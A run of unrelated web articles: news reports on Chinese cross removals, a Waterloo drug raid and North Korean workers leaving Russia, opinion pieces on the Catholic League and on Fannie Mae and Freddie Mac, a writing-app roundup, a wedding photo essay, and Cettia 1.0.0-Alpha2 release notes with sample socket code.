point out that many of the churches with crosses removed by the government are official churches recognized by the government,” Maya Wang, a researcher with the Human Rights Watch, said in the HKFP report.  A Pew report from 2010 estimated that there were around 23 million members of the Three-Self Patriotic Movement, China’s officially sanctioned Protestant church which functions under Communist Party oversight.  “The fact that these churches are now under renewed official scrutiny is a sign that authorities’ already-low tolerance for religious activities has fallen to a new low under President Xi,” Wang said.  A picture circulating online in May shows smoke rising from a cross at the Huzhen Church in Lishui city as it was being removed. Officials later denied that they set fire to the cross, saying that it began burning on its own.  Authorities in Wenzhou, however, insist that they are merely “relocating” crosses and demolishing dangerous buildings as part of a “three revise and one demolition” campaign to beautify the city.  “Generally speaking, the church staff and people [religious faithful] are very supportive,” an official from the ethic and religious affairs bureau in Rui’an told the Global Times. “We talked with some people who were not cooperating with the removal in a gentle way.”  [Images: Weibo via HKFP]
-Catholic League's Bill Donohue has a novel idea about why Archbishop John Nienstedt, accused of having sex with men, is under investigation, and why Catholics are calling for him to resign.  The nation was shocked when Minneapolis/St. Paul Archbishop John Nienstedt was accused of having inappropriate contact with a young boy. Nienstedt was cleared of those charges but soon after it was revealed that the 67-year old virulently anti-gay Roman Catholic leader was being investigated -- by his own parish -- for sexual relations with men.  Nienstedt has repeatedly denied the charges, though he was quick to respond to them, touting that the "allegations do not involve minors or lay members of the faithful, and they do not implicate any kind of illegal or criminal behavior."  Now, the Catholic League's Bill Donohue is riding to Nienstedt's rescue -- which he desperately needs in light of all the calls for his resignation -- but with lies.  "It's all about homosexuality," Donohue insists in a press release yesterday. "Ever since Archbishop Nienstedt criticized the pro-gay film, 'Brokeback Mountain,' he has been targeted by homosexual activists all over the nation. So it is hardly surprising to read a story on him in today's New York Times that cites his take on the movie. Had he liked it, and had he been silent on the subject of gay marriage, no one would be calling for his resignation."  Donohue did not point to any particular "homosexual activist," and in fact, all the calls for Nienstedt to resign have come not from any LGBT organization or gay activist but from lay Catholics, the Archdiocese's own chancellor for canonical affairs, and major donors to the Church. And the calls for resignation are not because of the charges of inappropriate sexual activity, but for Archbishop Nienstedt's gross mishandling of sexual abuse cases that were covered up, and his refusal to force priests to step down.  But Donohue chose to point the finger at the LGBT community rather than at his beloved Mother Church.  "Further proof that homosexuality is the real issue driving the foes of Nienstedt can be found in today's Star Tribune and Pioneer Press, two newspapers in the Twin Cities," the divorced head of the Catholic League claimed. "Both asked him yesterday what he does in bed and with whom. He told the former, 'No, I'm not gay. And I'm not anti-gay.' When the latter asked if he had had sex with men since becoming archbishop, he said, 'No. Not even before.'  "We have hit a new low when journalists descend to the level of probing puritans. They would put a camera in his bedroom if they could. If these same reporters spent more time trying to out Nienstedt's anonymous accusers--instead of trying to out his sex life--justice would be served. But that is not their interest, which is why injustice reigns supreme." Asking a man -- even a man of the cloth -- who is under investigation for having same-sex sex if he is gay is called journalism, not "descending to the level of probing puritans." In fact, it would be journalistic malpractice to not ask those valid questions. Donohue is clearly wrong by claiming "homosexuality is the real issue driving the foes of Nienstedt." The Catholic Church has a major sex abuse and accountability problem, and its top warrior is not only not helping the Church, he is harming it. Image: Facebook  See a mistake? Email corrections to: [email protected]
-The BC Humanist Association submitted a brief to the House of Commons Standing Committee on Canadian Heritage today as part of its study of Systemic Racism and Religious Discrimination.  In its brief, the BCHA highlights how religious privilege continues to marginalize the nonreligious and members of minority faith communities in Canada. It explores how the nonreligious in immigrant and indigenous communities are often unseen when the identities of diverse groups of people are reduced to the majority faith of the country they came from. Finally, it provides commentary on debates over terminology that have arisen in the context of this committee.  Ian Bushfield, Executive Director, BC Humanist Association:  This study on religious discrimination provides an important opening to raise the concerns of atheists, agnostics and Humanists. From symbolic issues like god in the anthem to the continued existence of separate Catholic school boards, our country's institutions regularly favour religion over nonreligion. This has major effects on atheists in small communities as well as non-Christians across Canada. Much of the discussion over this committee has been taken up re-litigating motion M-103. While we share the concerns of many ex-Muslims about the problems with the word Islamophobia, it's important that we not miss this opportunity to raise the many broader issues faced by the nonreligious community.  Read the brief  The BCHA is also continuing to collect signatures for its petition to add nonreligion to the Human Rights Code of BC until November 15. That petition will be submitted as part of its brief to the Government of BC's consultation on re-establishing the Human Rights Commission in BC.  Sign up to receive updates from the BC Humanist Association
-Writing isn’t that easy all the time. You not only need a good idea and an interesting headline but also have to find the right words to express your thoughts and arouse the reader‘s interest. Moreover, you have to stay completely focused for a certain time period. Luckily there are a ton of free apps available to help you concentrate on what you really want to do: Writing  IO is an easy to use text editor for your Mac. Its interface is designed to keep writers focused and although it first might seem like a simple Note-taking app, IO grows to a really powerful tool when starting to use Markdown, a markup language which I already covered in one of my previous articles.  “A new way of writing with confidence” — This is how Writefull is described by its creators. The free to use app helps you whenever you are insecure about certain phrases or words. It lets you search for the frequency of use, synonyms and will even find words which fit into a specific context. This way you can make sure all your formulations are correct and will no longer be insecure about things you‘ve written. It really is “a new way of writing with confidence”!  Noisli is a web app I’ve already written on in a single post. Briefly described, it lets you set up a productive sound environment by using ambient sounds and combining them. Therefore Noisli offers a large variety of sounds and different presets which can be customized in any way. Personally, I would recommend adding some Jazz music in order to complete a perfect sound environment.  Bear is my favorite app when it comes to working on less complex projects where you don‘t need to do intensive research. All my Medium articles were written in this app and after several months of using it, I don‘t want to switch anymore. Bear combines the idea of a simple interface like it can be found in most Note-taking apps with a highly functional text editor. Supporting Markdown, Bear is very powerful when it comes to time efficiency. After finishing a text, it can be exported into other file formats like (only Pro-Version — $1.49 monthly, $14.99 annually) *docx* or *pdf*. Bear has a dedicated “Focus Mode” built in which allows you to display nothing but the text you‘re working on. The option of using tags and Cross-Note links extends its many features even further.  When it comes to more complex articles, Notion is an excellent choice. Although it was initially built for teams and companies, it also offers great features for authors. Using blocks and combining them to a page, you can do pretty much everything you want and embed Maps, Tweets, Files, Videos, Images or even InVision Projects. Several authors can work on one project, extend it with lists, headers, dividers, insert Web Bookmarks and start a discussion right where the text is. Especially for larger projects, where you first need to do research, you will learn to love Notion!  The last thing I want to mention in this post is the “Sharethrough Headline Analyzer”. The free Web App is an easy way to check your headlines which get rated on a scale from 0 to 100. It gives you tips what to improve and tells you what you’ve already done well. The headline for this post for example received a score of 69.  Thank you for reading my article! If want to make any additions or have a question, feel free to leave a comment underneath.
-Soldier Brent Grommet was a specialist in the Army and worked with a bomb sniffing canine partner, a German Shepard named Matty, his war dog. They worked together in Afghanistan finding bombs until one fateful day in 2013 a roadside bomb ended both of their careers. Grommet was sent home to Montana to recuperate from his injuries, and during this time, he filed to adopt Matty permanently. His request was granted, however, the dog was mistakenly given up for adoption to someone else, before Grommet could claim her.  Bureaucratic red tape is what happened next, and no matter where the military man turned, no one seemed to be able to help him find out who adopted his dog. He desperately wanted to find the family and explain what Matty means to him, and what they had been through together, in an effort to convince them to give her back. After almost a year, it appeared that Matty was lost to this brave soldier forever, and his last memory of her would be her leaving the New Jersey airstrip in a crate. She was going to get the medical attention she needed much like her soldier, surely neither thinking it would be the last time they would see each other.  Sometimes the media can do great things, as they did in this case. Grommet and his father spent a lot of time trying to track down the dog, and they found record of her having been at the veterinary clinic at Fort Bragg North Carolina. That however was where the trail ended, much to the young man’s chagrin. The story got picked up on national media and Grommets father was interviewed last Thursday. Within 30 minutes of the airing of this interview, things began to happen. Richard Hudson, a North Carolina Congressman saw the interview and immediately went to work. He stated that he knew he could use his connections to help reunite this soldier with his war dog.  The congressman worked miracles and did indeed find Matty. Through a little bit of convincing, the family agreed to give her back to her rightful soldier. They chose not to go to the drop off of Matty, preferring to allow a third-party to do so. It speaks to the integrity of this family, as it must have been hard to give back a dog they took care of for almost a year. The exchange took place in Fayetteville North Carolina, and no one was happier than Matty. It is said by the family that Matty ran full speed at Grommet and all but tackled him in her elation to be back with her handler.  The Army has admitted to the mix up and has apologized, as under ‘Robbys Law,’ a federal law, a wounded handler of dogs in the service are to have the last say on the placement of the dog. They say that the dog was not injured but was relieved of duty due to a bone spur, at which point they put her up for civilian adoption. They went on to state that they never received the soldiers papers requesting permanent guardianship of the dog. Grommet spent so much time training and working with Matty that his decision was immediate that he wanted to adopt her and keep her for good.  Opinion by Kristi Cereska  Sources:  Washington Times  AOL
-Omar Rodríguez-López Teams Up with Faust for New 10-inch, Releases Bosnian Rainbows Live Record  Published Oct 31, 2013  While Bosnian Rainbows issued their self-titled debut album earlier this year, it should come as no surprise that the band's always active prog explorer Omar Rodríguez-López has another couple of releases to get him through the year. One is a live set from the outfit, and another finds Rodríguez-López jamming it out with Krautrock pioneers Faust . Both arrive November 8 through German imprint Clouds Hill was recorded live at the Clouds Hill premises in Hamburg in 2012, and the 10-inch release features an improvised performance divided into two parts. The track apparently utilizes, among other things, "a chain saw and a jack hammer." The recording is available as a 10-inch on white vinyl and comes with the, which features full-length performances from Bosnian Rainbows, Faust & Omar Rodríguez-López, Gallon Drunk, the Ape, Léonore Boulanger, the Building and Scams.You can watch some of the session with Faust and Rodríguez-López at the bottom of the page.As for the Bosnian Rainbows record, simply called, it features seven live songs recorded on the same day, though the band had then been going under the banner "the Omar Rodríguez-López Group." It's also being pressed up as a 10-inch on white vinyl and comes with the DVD."These are very much shorter, more to-the-point songs [than the Mars Volta's]," Rodríguez-López had said in a statement of Bosnian Rainbows. "They still have spaces that stretch out, but what I mean to say is that it's all the same influences that have been in most of my writing and all the people in my bands' writing — Can is there, Siouxsie and the Banshees is there, Gang of Four is there, all the Led Zeppelin, whatever... all those things are there, it's just different elements of those things."You can pre-order both releases here and see the tracklistings below.Thanks to Modern Vinyl for the tip.1. This Is Not Music, This Is Not Us And We Are Not Here (Part 1)2. This Is Not Music, This Is Not Us And We Are Not Here (Part 2)1. Worthless2. I Cry For You3. Dig Right In Me4. Torn Maps5. Always On The Run6. Red7. The Eye Fell In Love
-I’m pleased to announce that Cetita Protocol 1.0.0-Alpha2, Cettia JavaScript Client 1.0.0-Alpha2 and Cettia Java Server 1.0.0-Alpha2 have been released. The theme of this release is offline application, which provides a flexible way to deal with disconnection making it highly annoying to build real-time application.  In the real world, losing connection is not uncommon so that it is pretty important to make applications relying on full-duplex connection functional while offline in some way. For example, users lose connection every time they navigate from one page to another page and may lose network while on the move. Even if the time between disconnection and reconnection is very short, it’s true that any message can’t be sent and received after every disconnection and authentication which is a process to verify a user is who they say they are should be done and messages which couldn’t be sent and received meanwhile should be synchronized after every reconnection. Also if reconnection doesn’t occur for a long time, these messages might have to be sent through each user’s email.  To solve such problems, it has been required to design and implement application’s own protocol on top of the full duplex connection. With this feature, you can handle sockets regardless of their online/offline state as well as deal with such issues with ease just by handling some reserved socket events. Moreover, a reference to socket is not affected by disconnection and reconnection at all and doing authentication once is enough for socket. Of course, it applies to every transport not just HTTP based ones.  Let’s take a look at the new feature through code snippet.  JavaScript Client  var socket = cettia . open ( uri , { // 'name' option allows for the socket of the next page to inherit the lifecycle of the socket of the current page // This means the server can cache events which couldn't be sent to the socket of the previous page // due to temporary disconnection during page navigation and send them to the socket of the next page on reconnection // With this option, you don't need to follow single page application model to workaround such issues name : "main" }); // A queue containing events the client couldn't send to the server while disconnection var cache = []; // Fired when the server issues a new id for this socket as the beginning of the new lifecycle and the end of the old lifecycle // The 'open' event always follows this event but not vice versa socket . on ( "new" , function () { // You can reset resources having been used for the old lifecycle for the new lifecycle here cache . length = 0 ; }); // Fired when the underlying transport establishes a connection socket . on ( "open" , function () { // Now that communication is possible, you can flush the cache while ( socket . state () === "opened" && cache . length ) { // Removes the first event from the cache and sends it to the server one by one var args = cache . shift (); socket . send . apply ( socket , args ); } }); // Fired if some event is sent via this socket while there is no connection socket . on ( "cache" , function ( args ) { // You can determine whether or not to cache this arguments used to call the 'send' method // For example, in some cases, you may want to avoid caching to deliver live data in time cache . push ( args ); }); // You don't need to pay attention to socket's online/offline state at all // Internally, it will be delegated to the underlying transport while online and the 'cache' event while offline socket . send ( "event" , data );  Java Server  // Fired when a socket has been created as the beginning of the lifecycle // However the handshake is not performed yet and it is not allowed to exchange events server . onsocket ( new Action < ServerSocket >() { @Override public void on ( final ServerSocket socket ) { // You can authenticate a given socket here e.g. using token-based approach or cookie-based approach final Map < String , String > authentication = new TokenVerifier (). verify ( new Uri ( socket . uri ()). parameter ( "token" )); // Once is enough because this reference is unaffected by disconnection and reconnection socket . tag ( authentication . get ( "username" )); // Then, it's possible to send events to a specific user who may have used multiple devices by username // The given socket represents a specific device like desktop, phone, tablet and so on // e.g. server.byTag("flowersinthesand", socket -> socket.send("directmessage", "Hello there!")); // A queue containing events the server couldn't send to the client while disconnection final Queue < Object []> cache = new ConcurrentLinkedQueue <>(); // Fired when the handshake is performed successfully socket . onopen ( new VoidAction () { @Override public void on () { // Now that communication is possible, you can flush the cache while ( socket . state () == ServerSocket . State . OPENED && ! cache . isEmpty ()) { // Removes the first event from the cache and sends it to the client one by one Object [] args = cache . poll (); socket . send (( String ) args [ 0 ], args [ 1 ], ( Action ) args [ 2 ], ( Action ) args [ 3 ]); } } }); // Fired if some event is sent via this socket while there is no connection socket . oncache ( new Action < Object []>() { @Override public void on ( Object [] args ) { // You can determine whether or not to cache this arguments used to call the 'send' method // For example, in some cases, you may want to avoid caching to deliver live data in time cache . offer ( args ); } }); // Fired if the socket has been closed for a long time i.e. 1 minute and deleted from the server as the end of the lifecycle // A deleted socket can't be and shouldn't be used socket . ondelete ( new VoidAction () { @Override public void on () { // If the cache is not empty, that is to say, there are still some messages user should receive // you can send an email to notify user or store them to database for user to check on next logging in if (! cache . isEmpty ()) { Account account = Account . findByUsername ( authentication . get ( "username" )); // Assumes this method checks if user have not really received the unread messages // or some of them through other devices or other sockets and sends an email // to notify user of the final unread messages if they exist account . notifyUnreadMessages ( cache ); } } }); } }); // You can pass a socket action to server at any time not paying attention to given socket's online/offline state server . all ( new Action < ServerSocket >() { @Override public void on ( final ServerSocket socket ) { // It will be delegated to the underlying transport while online or the cache event while offline socket . send ( "event" , data ); } });  For your information, TokenVerifier , Uri and Account are imaginary classes to help describe a scenario matching with this feature well. As you can see that the above code snippets are just boilerplate, we have agonized over introducing helper classes to remove these boilerplate but have decided to wait for the community’s feedback. So don’t hesitate to give us your thought about this.  Here’s the full changelog:  Offline application. cettia-protocol#1, cettia-javascript-client#3, cettia-java-server#3  WebSocket transport doesn’t work with URI whose authority has no trailing slash and query is not empty. cettia-protocol#6  A client socket stays in connecting state if an invalid URI is given. cettia-protocol#5  abort request kills the process if it throws an error. cettia-protocol#4  WebSocket transport doesn’t fire close event when a connection fails. cettia-protocol#3  When test transport fires close event it should remove its stop function from socket’s close event. cettia-javascript-client#6  The total number of reconnection attempts to be passed to reconnect option is wrong. cettia-javascript-client#5  Extend socket’s lifecycle over multiple pages. cettia-javascript-client#4  Expose socket state. cettia-java-server#2  As always, please let us, Cettia Groups, know if you have any question or feedback.
-It was not exactly a perfect night in Washington for Fourth of July fireworks this year, when fog and rain blanketed the sky and made the Independence Day show from the National Mall less impressive than usual to those who had staked out a spot nearby.  But if you had tuned in on Monday to watch the fireworks on PBS or watched it on your cellphone, you might have figured the sky was cloudless and the fireworks were crystal clear. You might also have wondered if someone had removed the scaffolding that has been on the Capitol dome for two years.  But many eagle-eyed viewers suspected something was not quite right, and PBS later admitted as much: It had spliced in firework footage from previous years with live shots.
-WATERLOO — Drug investigators in haz-mat suits seized "thousands of pills" during a drug raid Sunday on a home in the Beechwood neighbourhood of Waterloo.  About half a dozen officers were involved in the raid on the detached home at 173 Briarcliffe Cres. , said Staff Sgt. Sloden Lackovic of Waterloo Region Police. He said investigators had been on site since Sunday morning and would likely be there until early evening.  The officers seized "thousands of pills and equipment we believe is used to manufacture pills," Lackovic said.  The officers, who were wearing breathing apparatus and were fully covered with hooded suits, gloves and boots, removed piles of equipment and bagged material from the home, including a portable generator, a mechanical hopper and other equipment. Firefighters hosed officers down to remove any contaminants after they emerged from the house.  Lackovic wouldn't say what the suspected pills were, or provide an estimated street value.  "We won't know what the pills are until we get results from Health Canada," which is testing the seized pills, he said. "We don't have a value because we still have to determine what the pills are."  The raid is part on an ongoing, months-long drug investigation, Lackovic said. The raid came about after the arrest Saturday afternoon of three men and one woman, all in their 20s, and all residents of the Kitchener-Waterloo area, he said. The men were held in jail pending a bail hearing Monday, while the woman was released on a promise to appear in court Monday.  The four face numerous charges, he said, including manufacturing a controlled substance, possession of a controlled substance for the purpose of trafficking, possession of a controlled substance for the purpose of exporting, and possession of a prohibited weapon, which Lackovic said was a knife.  Neighbours said the house, a single detached home with pale-blue siding and rusty railings, has been empty for the last three or four years, but about two weeks ago a truck pulled up and people appeared to have moved in.
-From fashion to environment, everything is changing drastically. The awareness of environment condition updates reaches us not so often. So, every new update from environment friendly people/organizations increases our concerns towards eco-friendly environment dream. We are wasting countless forest tress for our fashion craze. As these trees are being used in the manufacturing of dissolving pulp to produce fabrics like Viscose, Modal and Lyocell. These are the fabrics which are extensively use by the famous brands for the fashion wears. As per the research findings, More than 120 million trees are cut every year for cellulosic fabric. And, the pulp production will be double by 2050.  From last three and half years, the CanopyStyle campaign, which is partnering with fashion brands, fashion designers and their viscose suppliers to keep the world’s endangered forests out of the rayon/viscose clothing. The Canopystyle’s campaign is with a motto that being stylish doesn’t have to cost the earth. The Canopystyle environmental friendly initiatives become the fastest moving environmental step in apparel industry. And now in such a short time period, the 100 famous fashion and apparel brands (H&M, C&A, M&S, Levi’s, Inditex/Zara, ASOS, VF Corp and many more) who have already signed on to the fastest-pace environmental initiative and became the part of this environment friendly cause.  Forest Sustainability:  The Canopy and the United States Fashion Industry Association (USFIA) have decided to work together to keep the global endangered forests out of the US fashion supply chain. As per the president of USFIA, Julia K Huges, “Several of our members are part of the CanopyStyle initiative already. And we look forward to propelling Canopy’s positive impact in the rayon and viscose supply chain even further in the US marketplace.”  Canopy & USFIA Partnership:  The Canopy (not-for-profit environmental organization) has deep expertise in supply chain management. It collaborates with more than 750 companies around the world to develop innovative solutions to make their supply-chains more sustainable. And it helps to protect the world’s remaining ancient and endangered forests. Whereas, the USFIA has more than 200 members who are doing businesses globally and are champions on global trade issues.  So, everyone from the industry is expecting that this alliance will give the opportunity to the importers to make sure this thing that rayon and viscose fabrics from controversial sources will not be the part of their supply chain. Along with that, this alliance will also support to develop and introduce new products methodologies through innovative technologies. And this will ultimately support the fashion and environment to develop such alternatives like straw and recycled clothing which would recover the environment too.  Like this: Like Loading...  Related
-Reports coming out of Russia are real cause for concern. As The Independent has reported in the last couple of hours, there appears to be a mass exodus of North Korean workers from Russia's Far East.  The paper quotes the Vladnews agency as saying:  'Traders have left the kiosks and markets, workers have abandoned building sites, and North Korean secret service employees working in the region have joined them and left.'  The news comes as China works to reduce tensions in what VOA News described as a 'flurry of diplomatic activity.' The Chinese effort has been kicking into gear just ahead of joint military exercises between South Korean and US forces that are set to start Sunday.  China is concerned that the planned war games, which will include the USS George Washington, will aggravate tensions further following North Korea's shelling of a South Korean island.  The fact is, though, that North Korea is well aware that these exercises have been planned for some time. The ball is therefore largely in its court. It can choose to escalate this further — it can, in effect, choose to feel threatened — or it can take a step back.  US Secretary of State Hillary Clinton for her part has been urging China to send a signal to Pyongyang, with the State Department stating that she had pressed her Chinese counterpart to 'make clear' that North Korea's actions are 'unacceptable'.  There's been a great deal of speculation about possible motivations and who in North Korea stands to benefit from the latest belligerence. If it chooses war though, I'll be hard-pressed to think of anyone that comes out of this well.
-My Alessandra Rich dress, Gianvito Rossi shoes, and veil from New York Vintage. Photo: Jillian Mitchell  Our custom rings by Eric Lundquist were carried in the book I recommended to Brian the weekend we met. Well, a copy of it. Even though we agreed not to do gifts, Brian got me the original he’d had inscribed by Edward P. Jones himself, who put his well wishes for our marriage inside. When we needed a book carved out two days before our wedding, we knew to call our friend Jess Mezei, who practiced on books from the dollar shelf at the Strand. Photo: Jillian Mitchell  We used skeleton keys on our stationery and escort cards, inspired by the key that unlocked my engagement ring. Photo: Jillian Mitchell  Singer Minnie Riperton is a longtime style hero of mine. I always knew I'd wear baby's breath in my hair like her, but the bouquet was a morning-of swap. My skeleton key was tied to the bouquet with a beautiful velvet ribbon. Photo: Jillian Mitchell  I loved Brian’s dahlia. Later he also had a key pinned to his boutonniere. Photo: Jillian Mitchell  My friend manicurist Cassie Lamar does the perfect square nail and has amazing comedic timing. I had such a cocoon of warmth around me as I got ready with my trusted friends. I’ve known them for years from photo shoots so it was natural to be made up by all of them. Poor Grace is trying to get me to sit still. I’m so grateful everyone flew in from Paris Fashion Week, just in time for the day. Photo: Jillian Mitchell  Jawara bestowing his gifts on me. He has such a regal and calming presence. Photo: Jillian Mitchell  I had butterflies but simultaneously felt serenely content. Photo: Jillian Mitchell  Clasping my mom’s vintage bracelet on right before heading downstairs. Photo: Jillian Mitchell  Doing a final read through of my vows, which I’d just scribbled on right before going downstairs. Photo: Jillian Mitchell  My sister, Samira, taking one last look in her Jonathan Simkhai dress. I love the winterberries Jawara put in her hair. Photo: Jillian Mitchell  Here’s our Scottish friend Adam Mitchinson trailed by my brother Cass. Even though Brian didn’t have groomsmen, he invited his closest friends over to our house before the wedding to get ready, and then they all walked together the 15 minutes or so to Akwaaba. They elicited a lot of whoops and compliments in their tuxes and suits and bow ties and top hats and canes and kilts. Here’s our Scottish friend Adam Mitchinson trailed by my brother, Cass. Photo: Jillian Mitchell  We just asked that our guests look sharp and they clearly did not disappoint. Here are my dear friends Jessica Zamora-Turner and Lacey Lennon, who also collaborated to make our invitations. Photo: Jillian Mitchell  My younger nephew, Leo Perrius, was a mischievously sweet ring bearer. Photo: Jillian Mitchell  We rounded the corner to where I could finally see Brian and the chuppah. My mom didn’t lose her cool, but my dad and I let the tears flow. It was very important for me to walk down the aisle with both of my parents. Photo: Jillian Mitchell  We both wrote our vows the morning of our wedding. One of the few old-school wedding traditions we were set on was saying goodnight to each other the night before and not seeing each other again until I walked down the aisle to Nina Simone’s “Seems I’m Never Tired Lovin’ You.” So the morning of, I was at Akwaaba and Brian was in our bedroom at home, and we both got up early and were texting each other notes of encouragement and love as we independently wrote our vows. I was so happy to see him! We’re with Aunt Leslie, our officiant, and my sister and her two sons, Eli and Leo. Photo: Jillian Mitchell  Brian wore a made-to-measure Billy Reid tuxedo. Working with their team was our favorite part of the planning. Christopher Alesevich, the best man, and my brother, Cass, also wore Billy Reid. Photo: Jillian Mitchell  I think this is when my mom was speaking and said she was so thrilled to see “Solange and Cass marry today.” Cass is my brother! She deftly had us cracking up as she quickly caught the gaffe. Photo: Jillian Mitchell  Broom was jumped; glass was broken. Brian was trying to dip me for a dramatic kiss, but I tackled him instead. Photo: Jillian Mitchell
-DIGG THIS  One way to make someone’s eyes glaze over is to explain the various relationships in financial matters. Discussions of swaps, equity, options, short-selling and the like quickly become technical and esoteric, and most people instantly tune out what is being said.  Unfortunately, this situation convinces people that finance is complicated and cannot be understood — and so it must be left to the "experts" who are assumed to know better. Thus, the average person — the taxpayer who will be left on the hook — does not really understand why entities like "Freddie Mac" and "Fannie Mae" are in trouble, and why their "bailouts" are a disaster. They only know that the people who are supposed to be "in charge" of these things are declaring success.  First, what are "Fannie Mae" and "Freddie Mac"? They are entities created by the federal government to make mortgage loans and to guarantee those loans. "Fannie Mae" is an acronym for the Federal National Mortgage Association, which was created by the Franklin Roosevelt administration in 1938 to help further home ownership. "Freddie Mac" is the Federal Home Loan Mortgage Corporation, created by the Nixon administration in 1970 as a "competitor" for the FNMA. Both entities ultimately were "privatized," but nonetheless have operated with the obviously implicit guarantee from the federal government that it would protect them against losses.  In a free market, there would be nothing like these entities, or if something like them existed, there would be no guarantee that losses would be covered by taxpayers, which has created an obvious moral hazard. They exist because the government decided to follow a policy during the Great Depression to encourage home ownership beyond free market levels, which also meant that the entities that would have to finance such endeavors would have to come from the government.  Now, there is nothing wrong with home ownership, as it is an extension of private property rights. However, it should be emphasized that not everyone should be a candidate for home ownership, as owning a home means that the opportunity cost for moving increases greatly.  I will use my family and me as an example. We own a home and about an acre of property in the mountains of western Maryland, and my place of employment is located about five miles away, so it is relatively convenient to where I work. As long as I have my current employment and as long as I can continue to make the payments (and pay the property taxes), we can remain in this house.  However, if an attractive employment opportunity were to come elsewhere, the opportunity cost of moving would be substantially greater than if we were renting. First, we would have to sell the house, and in the current market, selling it at a price that would permit us even to cover what we paid a year ago might be difficult. Second, if we were to move without the house being sold, we would have to continue making payments and pay for a new place, which almost surely would negate any gains from the new employment. What seems like an asset to us right now would become a huge liability in such a situation, so it is clear that home ownership right now truly limits our choices.  The government’s insistence on individual family ownership of homes has a distorting effect upon the housing market, as it invariably creates rental shortages and then perpetuates the very problem. Let me explain. Because the government has created a financial system that encourages (or demands) people buy homes instead of renting them, there is a dearth of single-family housing or other rental housing that would meet the needs of individuals and families.  That situation drives up the price of rentals to the point where buying a home, at least in the short run, seems like the better alternative, as far more homes are available for purchase than for rent. Thus, the incentives that government policies create also continue to widen the gap between what a free market would create and what the government seeks to impose. (One can see that situation clearly in California, as the rash of foreclosures mean that lots of families that have lost their homes now are competing in the rental markets, which drives up rents, but that at the same time, thousands of houses sit empty waiting to be sold.)  The government did not create this market at the point of a gun; instead, it set up a series of financial rewards and punishments. Interest paid on home mortgages is tax deductible, while rent is not, but the series of incentives goes much deeper and extends well beyond the individual homeowner.  How does the financial system work to create the huge numbers of home loans? Why, in a world of scarcity (and that includes the amount of loanable funds available for capital development) would so much of the financial system be directed toward home ownership?  In a free market, capital is directed toward those ends that pay the highest returns, as well as toward investments that pay a good return, but also have better prospects for those loans actually being repaid. Repayment would come because the investments to which the loans were directed are profitable, that is, they bring entrepreneurial rewards that are higher than the sum of the prices paid to the owners of the factors of production.  When done correctly, finance is a wonderful thing, for it permits large numbers of people to pool their resources in order to provide money to entrepreneurs and to firms in order to pay for new projects, purchase of new capital, and for entrepreneurial ventures. An economy cannot grow without it.  However, with finance comes risk. Not all ventures can be successful, and there are times when even with the best of intentions, borrowers find that they cannot repay the loans in a timely manner — or even at all. In a free market, the projected risk would play a role in the determination of the interest rate, as risk and uncertainty are a function of time, and interest rates ultimately are determined by the time preferences of lenders and borrowers.  Free markets have mechanisms to deal with these kinds of issues, including insurance, rating systems, and the like, and the end result is that capital tends to move toward the ends that best reflect the risks and rewards. Such a system would include provisions for people to borrow money for home ownership, but the patterns would not be as pervasive as what we see presently in the United States.  Thus, to encourage more home ownership than would exist in a free market, the government has had to resort to financial manipulation, and that is where the FNMA and the FHLMC come in. Backed originally by government capital, these entities have gone into the secondary markets, purchased loans made by banks and savings and loan institutions at their present value, and then have taken those loans and "bundled" them into what are called mortgage securities.  Lending institutions can put loans (debt) on their balance sheets because those who have borrowed the money have promised to repay it with interest in the future. In a world in which people who have taken out home mortgages have demonstrated the ability to repay those loans in a timely manner, the debt instrument created thus has a market value.  The important role that the FNMA and FHLMC have played has been the fact that they have been a ready market for these debt instruments, which has encouraged lending institutions to make more of such loans than they would otherwise. (I will skip the discussion of the government role in propping up banks and savings and loan institutions, as that would take another series of articles. Suffice it to say that they are not free market institutions, at least in the manner that Austrian economists view free markets.)  The effect here is twofold. First, it encourages more home ownership than would exist in a free market, which distorts the free market in housing. Second, it means that capital that would have gone to more highly-favored uses in a free market now is directed to less-profitable uses. Therefore, the emphasis on home ownership would seem to have a perverse effect upon our economy by diverting scarce capital away from those projects that would bring even more economic growth.  When one combines this situation with the fact that hostile governments have been stifling economic opportunities through taxation, regulation, and property seizures, the situation becomes even more perverse, something that became apparent during the past decade. Investment opportunities in the United States have been declining in large part because of government hostility, and that creates an inwardly destructive effect.  First, less investment means people have fewer opportunities to better their lives, so they turn to government for help. Second, governments that are empowered in these situations tend to be extremely hostile toward private enterprise and, therefore, tend to drive even more business enterprises away.  Third, investors then look for other means to gain a return on their money, and that is where the government-backed housing securities come in. Because such securities traditionally have been seen as relatively "safe" because of the government guarantees, they became attractive places to put money.  As this industry grew, brokerage houses on Wall Street began to use them as collateral for about everything, and these securities were used to prop up other funds or became a financial mainstay. Combine this situation with the Bush administration’s "ownership society" goals and the belief that home ownership is an "opportunity" that should not be denied to anyone, regardless of their ability to pay, the outcome was inevitable.  While more and more loanable funds were diverted toward mortgages, the increased demand for housing forced up home prices, and ultimately they went up to levels which average buyers could not afford with conventional mortgages. Unfortunately, the lending industry — prodded by the Federal Reserve System and the mortgage industry — created new loan packages to entice people to borrow huge sums of money. Things like "interest-only" mortgages, adjustable-rate mortgages (ARMs), and the like were hawked to would-be homebuyers, who were assured by the mortgage companies that their properties would appreciate quickly and then they could re-negotiate their loans, using their newfound equity to lower their payments.  This entire scheme was on a collision course with reality. The proliferation of mortgage securities ultimately drove down their value, and the constant search to find potential marginal home buyers with marginal means or credit has kept this market alive, but it was a devil’s bargain, as the newcomers into the market were the ones who were least likely to be able to make timely payments.  Austrians can recognize the pattern of malinvestment here, even if most other people cannot. This is not a situation into which the government can ride, guarantee the securities, save homeowners from foreclosure, and generally save the day. Instead, by propping up this sick industry, the government not only extends the malinvestments (and, thus, retarding the recovery), but also does it by creating even more new money, which only encourages people to run to the last game in town: commodities futures.  Most people cannot recognize the relationship between the government’s bailout attempts and the increases in commodity prices, including prices for oil and gasoline. True to form, the political classes, which ultimately are responsible for this mess, blame the speculators and the oil companies, and the mainstream news media provides the amen chorus.  The Best of William L. Anderson
